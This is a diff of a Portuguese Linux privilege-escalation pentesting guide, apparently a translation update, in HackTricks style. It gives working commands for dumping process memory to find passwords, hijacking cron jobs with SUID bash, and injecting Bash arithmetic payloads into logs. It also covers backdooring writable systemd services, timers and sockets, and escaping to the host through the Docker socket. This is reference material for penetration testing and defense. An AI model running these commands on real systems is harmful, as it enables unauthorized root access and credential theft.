processo**; também mostra as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **exibe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **seek into the mem file and dump all readable regions** para um arquivo. +Para um dado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo**; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. Do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **posicionar no arquivo mem e extrair todas as regiões legíveis** para um arquivo. ```bash procdump() ( @@ -231,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Normalmente, `/dev/mem` só é legível por **root** e pelo grupo kmem. +Normalmente, `/dev/mem` só é legível por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump para Linux -ProcDump é uma versão para Linux reimaginada da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Obtenha em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma versão para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Baixe em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Ferramentas -To dump a process memory you could use: +Para fazer dump da memória de um processo você pode usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e fazer dump do processo que pertence a você -- Script A.5 do [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root é necessário) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e fazer dump do processo de sua propriedade +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (requer root) ### Credenciais da memória do processo #### Exemplo manual -Se você descobrir que o processo do autenticador está em execução: +Se você encontrar que o processo authenticator está em execução: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode dumpar o processo (veja as seções anteriores para encontrar diferentes maneiras de dumpar a memória de um processo) e procurar por credenciais dentro da memória: +Você pode fazer dump do processo (veja as seções anteriores para encontrar diferentes maneiras de fazer dump da memória de um processo) e procurar credenciais dentro da memória: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) vai **roubar credenciais em texto simples da memória** e de alguns **arquivos bem conhecidos**. Requer privilégios de root para funcionar corretamente. +A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá roubar credenciais em texto claro da memória e de alguns arquivos bem conhecidos. Requer privilégios de root para funcionar corretamente. -| Funcionalidade | Nome do Processo | +| Recurso | Nome do Processo | | ------------------------------------------------- | -------------------- | -| Senha do GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Regexes de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Expressões Regulares de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,37 +314,36 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Tarefas agendadas/Cron jobs +## Tarefas Agendadas/Cron jobs -Verifique se alguma tarefa agendada está vulnerável. Talvez você possa tirar proveito de um script sendo executado por root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). +Verifique se alguma tarefa agendada está vulnerável. Talvez você consiga tirar proveito de um script sendo executado por root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Caminho do cron Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Observe como o usuário "user" tem permissões de escrita sobre /home/user_) +(_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) -Se, dentro deste crontab, o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ -Então, você pode obter uma root shell usando: +Se dentro desse crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Então, você pode obter um shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron usando um script com um wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Se um script é executado por root e possui um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: +Se um script executado por root tiver um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o wildcard for precedido por um caminho como** _**/some/path/\***_ **, não é vulnerável (nem** _**./\***_ **é).** - -Leia a seguinte página para mais truques de exploração de wildcard: +**Se o wildcard é precedido por um caminho como** _**/some/path/\***_ **, ele não é vulnerável (nem mesmo** _**./\***_ **).** +Leia a página a seguir para mais truques de exploração de wildcard: {{#ref}} wildcards-spare-tricks.md @@ -352,9 +352,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -O Bash executa parameter expansion e command substitution antes da avaliação aritmética em ((...)), $((...)) e let. Se um root cron/parser lê campos de log não confiáveis e os passa para um contexto aritmético, um atacante pode injetar um command substitution $(...) que será executado como root quando o cron rodar. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Se um cron/parser executado como root lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar uma command substitution $(...) que será executada como root quando o cron rodar. -- Por que funciona: No Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, depois word splitting e pathname expansion. Assim, um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), então o `0` numérico restante é usado na aritmética para que o script continue sem erros. +- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. - Padrão vulnerável típico: ```bash @@ -366,7 +366,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploração: Faça com que texto controlado pelo atacante seja gravado no log analisado de forma que o campo com aparência numérica contenha um command substitution e termine com um dígito. Garanta que seu comando não escreva para stdout (ou redirecione-o) para que a aritmética permaneça válida. +- Exploração: Faça com que texto controlado pelo atacante seja escrito no log analisado de forma que o campo que parece numérico contenha uma command substitution e termine com um dígito. Garanta que seu comando não imprima no stdout (ou redirecione) para que a avaliação aritmética permaneça válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -375,29 +375,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -If you **can modify a cron script** executed by root, you can get a shell very easily: +Se você **puder modificar um cron script** executado como root, pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado pelo root usa um **diretório ao qual você tem acesso total**, talvez seja útil deletar esse diretório e **criar um symlink para outro diretório** que sirva um script controlado por você +Se o script executado pelo root usa um **diretório ao qual você tem acesso total**, talvez seja útil apagar essa pasta e **criar um symlink apontando para outra** que sirva um script controlado por você ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar proveito disso e escalate privileges. +Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar proveito disso e escalar privilégios. Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e apagar os comandos que foram executados com mais frequência, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar todos os processos que forem iniciados). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso vai monitorar e listar cada processo que iniciar). -### Cronjobs invisíveis +### Cron jobs invisíveis -É possível criar um cronjob **colocando um retorno de carro após um comentário** (sem o caractere de nova linha), e o cronjob funcionará. Exemplo (observe o caractere de retorno de carro): +É possível criar um cronjob **colocando um carriage return após um comentário** (sem o caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -405,85 +405,85 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode escrever algum arquivo `.service`; se puder, você **poderia modificá-lo** para que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise aguardar até que a máquina seja reiniciada).\ -Por exemplo, crie seu backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** +Verifique se você pode gravar algum arquivo `.service`; se puder, você **poderia modificá-lo** de modo que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário aguardar até que a máquina seja reiniciada).\ +Por exemplo, crie seu backdoor dentro do .service file com **`ExecStart=/tmp/script.sh`** -### Binários de serviço graváveis +### Binários de serviços graváveis -Tenha em mente que se você tem **permissões de escrita sobre binários sendo executados por serviços**, você pode alterá-los para backdoors de modo que quando os serviços forem re-executados os backdoors sejam executados. +Tenha em mente que se você tem **permissão de escrita sobre binários executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem re-executados os backdoors sejam executados. -### systemd PATH - Caminhos relativos +### systemd PATH - Caminhos Relativos Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **escrever** em qualquer uma das pastas do caminho, pode ser capaz de **escalar privilégios**. Você precisa procurar por **caminhos relativos sendo usados em arquivos de configuração de serviços** como: +Se você descobrir que pode **write** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Procure por **relative paths being used on service configurations** em arquivos como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executável** com o **mesmo nome do binário de caminho relativo** dentro da pasta systemd PATH que você pode escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários não privilegiados normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um **executável** com o **mesmo nome do binário do caminho relativo** dentro da pasta do PATH do systemd que você consegue escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários sem privilégios geralmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** ## **Timers** -**Timers** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam `**.service**` files or events. **Timers** podem ser usados como uma alternativa ao cron, pois têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados assincronamente. +**Timers** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, já que têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona. Você pode enumerar todos os timers com: ```bash systemctl list-timers --all ``` -### Temporizadores graváveis +### Timers graváveis -Se você conseguir modificar um temporizador, pode fazê-lo executar algumas unidades do systemd.unit (como uma `.service` ou uma `.target`). +Se você conseguir modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como um `.service` ou um `.target`) ```bash Unit=backdoor.service ``` Na documentação você pode ler o que é a Unit: -> A unidade a ativar quando este timer expira. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, este valor padrão é um serviço que tem o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade ativada e o nome da unidade do timer sejam idênticos, exceto pelo sufixo. +> A unidade a ser ativada quando este timer expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, esse valor padrão é um serviço que tem o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade que é ativada e o nome da unidade do timer sejam nomeados de forma idêntica, exceto pelo sufixo. -Portanto, para abusar desta permissão você precisaria: +Portanto, para abusar dessa permissão você precisaria: -- Encontrar alguma unit do systemd (como um `.service`) que esteja **executando um binário gravável** -- Encontrar alguma unit do systemd que esteja **executando um caminho relativo** e você tenha **privilégios de escrita** sobre o **systemd PATH** (para se passar por esse executável) +- Encontrar alguma unidade systemd (como um `.service`) que esteja **executando um binário gravável** +- Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e que você tenha **privilégios de escrita** sobre o **systemd PATH** (para se passar por esse executável) **Saiba mais sobre timers com `man systemd.timer`.** -### **Habilitar Timer** +### **Ativando Timer** Para habilitar um timer você precisa de privilégios root e executar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd/system/.wants/.timer` +Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. +Unix Domain Sockets (UDS) habilitam a **comunicação entre processos** na mesma ou em diferentes máquinas dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor padrão do Unix para comunicação entre computadores e são configurados por meio de arquivos `.socket`. -Sockets podem ser configurados usando arquivos `.socket`. +Sockets can be configured using `.socket` files. **Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas um resumo é usado para **indicar onde ele vai escutar** o socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta a escutar, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de service é gerada para cada conexão entrante** e apenas o socket da conexão é passado para ela. Se **false**, todos os sockets de escuta são **passados para a service unit iniciada**, e apenas uma service unit é instanciada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs, onde uma única service unit trata incondicionalmente todo o tráfego de entrada. **Padrão: false**. Por razões de desempenho, recomenda-se implementar novos daemons apenas de forma compatível com `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceita uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **criadas** e vinculadas, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos do processo. -- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta sejam **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da **service** unit a **ativar** em caso de **tráfego de entrada**. Esta configuração só é permitida para sockets com Accept=no. Por padrão, aponta para a service que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar essa opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas, em resumo, são usadas para **indicar onde o socket vai escutar** (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta a escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de serviço é criada para cada conexão recebida** e apenas o socket da conexão é passado a ela. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs onde uma única unidade de serviço trata incondicionalmente todo o tráfego de entrada. **Padrão é false**. Por razões de desempenho, recomenda-se escrever novos daemons apenas de forma compatível com `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo. +- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente. +- `Service`: Especifica o nome da unidade de **service** **a ativar** no **tráfego de entrada**. Essa configuração só é permitida para sockets com Accept=no. Por padrão, aponta para o serviço que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. -### Arquivos .socket graváveis +### Writable .socket files -Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e a backdoor será executada antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ -_Observe que o sistema precisa estar usando essa configuração de arquivo socket ou a backdoor não será executada_ +Se você encontrar um arquivo `.socket` **gravável**, você pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes do socket ser criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\ +_Observe que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_ -### Sockets graváveis +### Writable sockets -Se você **identificar algum socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e talvez explorar uma vulnerabilidade. +Se você **identificar qualquer socket gravável** (_agora estamos falando de Unix Sockets e não dos arquivos de configuração `.socket`_), então **você pode se comunicar** com esse socket e possivelmente explorar uma vulnerabilidade. ### Enumerar Unix Sockets ```bash @@ -507,42 +507,42 @@ socket-command-injection.md ### HTTP sockets -Note que podem existir alguns **sockets escutando requisições HTTP** (_Não estou falando dos arquivos .socket mas dos arquivos que atuam como unix sockets_). Você pode verificar isso com: +Observe que podem existir alguns **sockets listening for HTTP** requests (_não estou falando sobre arquivos .socket, mas sobre os arquivos que atuam como unix sockets_). Você pode verificar isso com: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se o socket **responder com uma requisição HTTP**, então você pode **se comunicar** com ele e talvez **explorar alguma vulnerabilidade**. +Se o socket **responder com uma requisição HTTP**, então você pode **comunicar-se** com ele e talvez **exploit alguma vulnerabilidade**. -### Socket do Docker com permissão de escrita +### Docker Socket Gravável -O socket do Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e pelos membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar à elevação de privilégios. Abaixo está uma explicação de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. +O Docker socket, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de escrita a esse socket pode levar a privilege escalation. Aqui está um resumo de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível. #### **Privilege Escalation with Docker CLI** -Se você tem acesso de escrita ao socket do Docker, pode escalar privilégios usando os seguintes comandos: +Se você tem acesso de escrita ao Docker socket, você pode escalate privileges usando os seguintes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Estas commands allow you to run a container with root-level access to the host's file system. +Esses comandos permitem executar um container com acesso root ao sistema de arquivos do host. -#### **Usando Docker API Diretamente** +#### **Usando Docker API diretamente** -Em casos onde o Docker CLI não está disponível, o docker socket ainda pode ser manipulado usando a Docker API e comandos `curl`. +Em casos onde a Docker CLI não está disponível, o docker socket ainda pode ser manipulado usando a Docker API e comandos `curl`. -1. **List Docker Images:** Recupera a lista de imagens disponíveis. +1. **List Docker Images:** Recupere a lista de imagens disponíveis. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envia uma requisição para criar um container que monta o diretório raiz do host. +2. **Create a Container:** Envie uma requisição para criar um container que monte o diretório raiz do sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Inicie o container recém-criado: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start @@ -558,22 +558,22 @@ Connection: Upgrade Upgrade: tcp ``` -Após configurar a conexão `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. +Após configurar a conexão com `socat`, você pode executar comandos diretamente no container com acesso root ao sistema de arquivos do host. ### Outros -Note que se você tem permissões de escrita sobre o docker socket porque você está **dentro do grupo `docker`** você tem [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Observe que, se você tem permissões de escrita sobre o docker socket porque você está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**docker API estiver ouvindo em uma porta** você também poderá comprometer ela](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Confira **mais maneiras de escapar do docker ou abusá-lo para escalar privilégios** em: +Consulte **mais maneiras de escapar do docker ou abusá-lo para escalar privilégios** em: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Escalada de privilégios do Containerd (ctr) -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Se você descobrir que pode usar o comando **`ctr`** leia a página seguinte, pois **você pode ser capaz de abusar dele para escalar privilégios**: {{#ref}} @@ -582,7 +582,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Se você descobrir que pode usar o comando **`runc`** leia a página seguinte, pois **você pode ser capaz de abusar dele para escalar privilégios**: {{#ref}} @@ -591,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus é um sofisticado sistema de **Comunicação entre Processos (IPC)** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado para o sistema Linux moderno, fornece uma estrutura robusta para diferentes formas de comunicação entre aplicações. +D-Bus é um sofisticado **sistema de comunicação entre processos (IPC)** que permite que aplicações interajam e compartilhem dados de forma eficiente. Projetado com o sistema Linux moderno em mente, oferece uma estrutura robusta para diferentes formas de comunicação entre aplicações. -O sistema é versátil, suportando IPC básico que melhora a troca de dados entre processos, de forma semelhante a sockets de domínio UNIX aprimorados. Além disso, ajuda na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, agilizando processos que tradicionalmente eram complexos. +O sistema é versátil, suportando IPC básico que melhora o intercâmbio de dados entre processos, lembrando **sockets de domínio UNIX aprimorados**. Além disso, auxilia na transmissão de eventos ou sinais, promovendo integração entre componentes do sistema. Por exemplo, um sinal de um daemon Bluetooth sobre uma chamada recebida pode instruir um player de música a silenciar, melhorando a experiência do usuário. Adicionalmente, o D-Bus suporta um sistema de objetos remotos, simplificando requisições de serviço e invocações de métodos entre aplicações, racionalizando processos que tradicionalmente eram complexos. -D-Bus opera sobre um **allow/deny model**, gerenciando permissões de mensagem (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que batem. Essas políticas especificam as interações com o bus, potencialmente permitindo elevação de privilégios através da exploração dessas permissões. +O D-Bus opera com um **modelo allow/deny**, gerenciando permissões de mensagens (chamadas de método, emissões de sinal, etc.) com base no efeito cumulativo de regras de política que correspondem. Essas políticas especificam interações com o bus, potencialmente permitindo escalada de privilégios por meio da exploração dessas permissões. Um exemplo de tal política em `/etc/dbus-1/system.d/wpa_supplicant.conf` é fornecido, detalhando permissões para o usuário root possuir, enviar e receber mensagens de `fi.w1.wpa_supplicant1`. -Políticas sem um usuário ou grupo especificado se aplicam universalmente, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras políticas específicas. +Políticas sem um usuário ou grupo especificado se aplicam de forma universal, enquanto políticas de contexto "default" se aplicam a todos não cobertos por outras políticas específicas. ```xml @@ -608,7 +608,7 @@ Políticas sem um usuário ou grupo especificado se aplicam universalmente, enqu ``` -**Aprenda a enumerar e explorar uma comunicação D-Bus aqui:** +**Aprenda como enumerar e explorar uma comunicação D-Bus aqui:** {{#ref}} @@ -617,7 +617,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rede** -Sempre é interessante enumerar a rede e determinar a posição da máquina. +É sempre interessante enumerar a rede e descobrir a posição da máquina. ### Enumeração genérica ```bash @@ -644,14 +644,14 @@ lsof -i ``` ### Portas abertas -Sempre verifique os serviços de rede em execução na máquina com os quais você não pôde interagir antes de acessá-la: +Sempre verifique os serviços de rede em execução na máquina com os quais você não conseguiu interagir antes de acessá-la: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Verifique se você consegue sniff traffic. Se conseguir, poderá ser capaz de capturar algumas credentials. +Verifique se você pode sniff o tráfego. Se puder, poderá capturar algumas credenciais. ``` timeout 1 tcpdump ``` @@ -659,7 +659,7 @@ timeout 1 tcpdump ### Enumeração Genérica -Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem fazer **login** e quais têm **privilégios de root:** +Verifique **quem** você é, quais **privilégios** você tem, quais **usuários** estão nos sistemas, quais podem fazer **login** e quais têm **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -681,14 +681,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID alto -Algumas versões do Linux foram afetadas por um bug que permite a usuários com **UID > INT_MAX** escalarem privilégios. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Grupos -Verifique se você é **membro de algum grupo** que poderia conceder privilégios de root: +Verifique se você é **membro de algum grupo** que possa conceder privilégios root: {{#ref}} @@ -714,27 +714,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Senhas conhecidas -Se você **conhecer qualquer senha** do ambiente, **tente fazer login como cada usuário** usando essa senha. +Se você **conhece alguma senha** do ambiente **tente fazer login como cada usuário** usando essa senha. ### Su Brute -Se você não se importar em gerar muito ruído e os binários 